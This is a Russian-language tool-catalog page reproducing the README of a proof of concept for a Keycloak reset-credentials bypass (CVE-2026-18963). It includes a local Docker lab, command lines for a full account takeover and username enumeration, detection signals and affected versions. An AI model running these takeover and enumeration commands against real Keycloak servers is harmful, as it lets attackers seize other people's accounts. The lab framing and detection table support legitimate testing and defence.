Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/prot0tw/keycloak_cve-2026-18963_poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеАутентификацияЛаборатории и Практика
GitHubprot0tw/keycloak_cve-2026-18963_poc

Keycloak_CVE-2026-18963_PoC

Этот репозиторий — PoC для cve-2026-18963. Пожалуйста, используйте его только на легальных продуктах (лаборатория, локальная среда и т. д.).

Репозиторий
122 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-18963

Обход reset-credentials в Keycloak → захват учётной записи без аутентификации CVSS 9.1 | Затронуты: Keycloak 26.0.0 – 26.7.1

Эта лабораторная работа воссоздана из оригинального README репозитория snizi/cve-2026-18963-exploit.


Структура

root@kitploit:~
CVE-2026-18963/
├── cve_2026_18963_poc.py   <- PoC-скрипт (Python 3.9+, только стандартная библиотека)
├── README.md
├── docker-compose.yml      <- Лабораторная среда
└── realm-poc.json          <- Конфигурация realm Keycloak (автоимпорт)

Требования

  • Docker + Docker Compose
  • Python 3.9+ (только стандартная библиотека, ничего устанавливать не нужно)
  • Linux

Шаг 1: Запуск лабораторной среды

root@kitploit:~
docker compose up -d

Или запустите Keycloak напрямую, без импорта realm:

root@kitploit:~
docker run -p 127.0.0.1:8080:8080 \
  -e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
  -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
  quay.io/keycloak/keycloak:26.7.1 start-dev

Подождите ~30–60 секунд, пока Keycloak завершит загрузку.

Сервисы

СервисURLВерсияСтатус
kc-vulnhttp://localhost:808026.7.1УЯЗВИМ ⚠️
Mailpithttp://localhost:8025latestПерехватывает почту

Учётные данные по умолчанию

  • Администратор Keycloak: admin / admin
  • Пользователь-жертва: victim / OriginalPassw0rd!
  • Realm: poc | Клиент: poc-app
  • Проверьте конфигурацию: Realm settings → вкладка Login → параметр Forgot password включён.
  • Если realm poc или пользователь victim отсутствуют, импортируйте их вручную: Manage realms → Create realm → Загрузите realm-poc.json.

Шаг 2: Запуск PoC

Безопасная проверка (имя пользователя не требуется, без побочных эффектов)

root@kitploit:~
python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --safe-check

Ожидаемый результат на kc-vuln: [!] VULNERABLE — email gate execution served


Неразарушающее доказательство (останавливается на форме Update Password)

root@kitploit:~
python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim --check

Побочные эффекты: жертве отправляется письмо для сброса пароля (просмотрите его на http://localhost:8025), а параметр emailVerified устанавливается в true.


Полный захват учётной записи

root@kitploit:~
python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim \
  --new-password 'PoCPassw0rd!1'

После этого проверьте результат, войдя на http://localhost:8080/realms/poc/account с учётными данными victim / PoCPassw0rd!1.


Перебор имён пользователей

root@kitploit:~
printf 'victim\nadmin\nnobody\n' > userlist.txt

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --enum userlist.txt

Шаг 3: Сброс жертвы в исходное состояние

Realm импортируется только при первом запуске, поэтому самый простой способ сброса — пересоздать среду с нуля:

root@kitploit:~
docker compose down -v && docker compose up -d

Либо сбросьте пароль вручную в консоли администратора (http://localhost:8080/admin): Users → victim → Credentials → Reset password → OriginalPassw0rd!.


Удаление среды

root@kitploit:~
docker compose down -v

Сигналы обнаружения

СигналЛегитимноЭксплойт
GET /login-actions/action-token?...✅ Да❌ Нет
POST .../reset-credentials с телом tryAnotherWay=yes❌ Нет✅ Да
SEND_RESET_PASSWORD → UPDATE_PASSWORD с тем же code_id < 2 сРедко✅ Всегда
emailVerified меняется на true без события VERIFY_EMAIL❌✅ Всегда

В Mailpit (http://localhost:8025) письмо о сбросе пароля приходит в почтовый ящик жертвы, но ссылка внутри него никогда не открывается при успешном эксплойте.


Затронутые версии

Линия релизовЗатронутыИсправление
≤ 17 (WildFly)Нет—
26.0 – 26.326.0.0 – 26.x.xНет (необходим переход на 26.7.2)
26.426.4.0 – 26.4.1426.4.15 (бэкпорт от вендора)
26.526.5.0 – 26.5.7Нет
26.626.6.0 – 26.6.526.6.6 (бэкпорт от вендора)
26.726.7.0 – 26.7.126.7.2 ✅

Версии до 26.0 не затронуты: липкая заметка AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED и экран выбора «Try another way» в процессе сброса были введены в 26.0.0. В более старых сборках просто отсутствует уязвимый путь кода — это не то же самое, что наличие исправления.


Ссылки

  • Sploitus (оригинальный README): https://sploitus.com/exploit?id=A76D2FC5-1440-568B-81C2-B0213465485E
  • Проблема Keycloak: https://github.com/keycloak/keycloak/issues/51833
  • PR с исправлением: https://github.com/keycloak/keycloak/pull/51844
  • GHSA: GHSA-4gv3-mc9p-5wqc
  • Red Hat: https://access.redhat.com/security/cve/cve-2026-18963
Скачать инструмент